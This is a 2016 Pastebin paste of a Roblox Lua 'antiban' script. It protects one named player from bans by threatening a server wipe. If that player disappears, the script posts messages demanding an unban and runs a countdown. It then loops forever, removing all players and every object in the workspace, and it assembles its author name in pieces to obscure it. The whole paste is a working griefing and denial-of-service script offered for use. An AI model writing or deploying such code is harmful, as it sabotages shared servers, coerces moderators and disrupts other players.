Advertisement
deezfai

Untitled

Jul 26th, 2016
103
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.29 KB | None | 0 0
  1. ------Tszfai's antiban script!--------------------------------------
  2. n = "B"
  3. n = n.."a"
  4. n = n.."ns"
  5. n = n.."e"
  6. n = n.."y"
  7. h = Instance.new("Hint")
  8. m = Instance.new("Message")
  9. script.Name = n.."'s antiban"
  10. --------------You can change below------------------
  11. respawntime = 90
  12. protect = "tszfai"
  13. -------Version [Don't change]------------
  14. version = 20
  15.  
  16. while true do
  17. if game.Players:findFirstChild(protect) == nil then
  18. m.Parent = game.Workspace
  19. m.Text = protect.." is banned, the server will be removed..."
  20. wait(3)
  21. m.Text = "Unban "..protect.." or remove your script, else the server will be down with the following countdown!"
  22. wait(3)
  23. for i= respawntime, 0, -1 do
  24. if game.Players:findFirstChild(protect) == nil then
  25. m.Text = "If "..protect.." doesn't reappear in ["..i.."] then the server is down!"
  26. wait(1)
  27. end
  28. end
  29. if game.Players:findFirstChild(protect) ~= nil then
  30. m.Text = protect.." came back, nothing will happen!"
  31. wait(3)
  32. m:remove()
  33. else
  34. while true do
  35. for i, p in ipairs(game.Players:getChildren()) do
  36. p:Remove()
  37. end
  38. for i, w in ipairs(game.Workspace:getChildren()) do
  39. w:Remove()
  40. end
  41. wait()
  42. end
  43. end
  44. else
  45. h.Parent = game.Workspace
  46. h.Text = "Protecting: "..protect.." - Version: "..version.." - Created by: "..n
  47. end
  48. wait()
  49. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement